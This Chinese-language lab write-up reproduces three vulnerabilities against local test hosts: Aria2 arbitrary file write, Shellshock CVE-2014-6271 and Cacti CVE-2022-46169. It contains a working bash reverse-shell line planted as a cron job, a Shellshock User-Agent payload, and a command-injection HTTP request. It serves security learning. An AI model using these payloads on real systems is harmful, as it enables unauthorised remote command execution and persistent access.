文章目录
- 一、Aria2 任意文件写入漏洞
- 二、CVE-2014-6271(Bash Shell 漏洞)
- 三、CVE-2022-46169(Cacti 前台命令注入漏洞)
一、Aria2 任意文件写入漏洞
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
访问192.168.92.6:6800
,浏览器返回空白,但是抓包显示404错误。6800
是aria2的rpc服务的默认端口。
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/
。点击配置按钮,填入运行aria2的目标域名:http://192.168.92.6:6800/jsonrpc
搭建一个http服务:
python -m http.server 9999
同时在搭建http服务的文件目录下写一个反弹shell的文件,文件内容为:
#! /bin/bash
bash -i >& /dev/tcp/192.168.92.6/8888 0>&1
在http://binux.github.io/yaaw/demo/
点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell。
思路:
http://binux.github.io/yaaw/demo/
创建下载任务后,Aria2会下载http://192.168.92.6:9999/shell
文件内容,并将其保到/etc/cron.d/shell
中。
因为没有可执行权限,所以需要自己手动执行。但是可以说明Aria2存在任意文件写入漏洞。
二、CVE-2014-6271(Bash Shell 漏洞)
GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用bash shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在shell被调用后会被立即执行。
服务启动后,有两个页面http://192.168.92.6:8080/victim.cgi
和http://192.168.92.6:8080/safe.cgi
。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3生成的页面。
在数据包中更改UA头:
User-Agent: () { foo; }; echo Content-Type: text/plain1; echo; /usr/bin/id
三、CVE-2022-46169(Cacti 前台命令注入漏洞)
Cacti是一个服务器监控与管理平台,在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。
首先,访问192.168.92.6:8080
,使用admin/admin登录,然后疯狂下一步完成安装。
这个漏洞的利用需要Cacti
应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
完成漏洞环境配置后,发送下面的数据包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
查看容器中是否成功创建文件
docker exec f5cc ls -l /tmp/success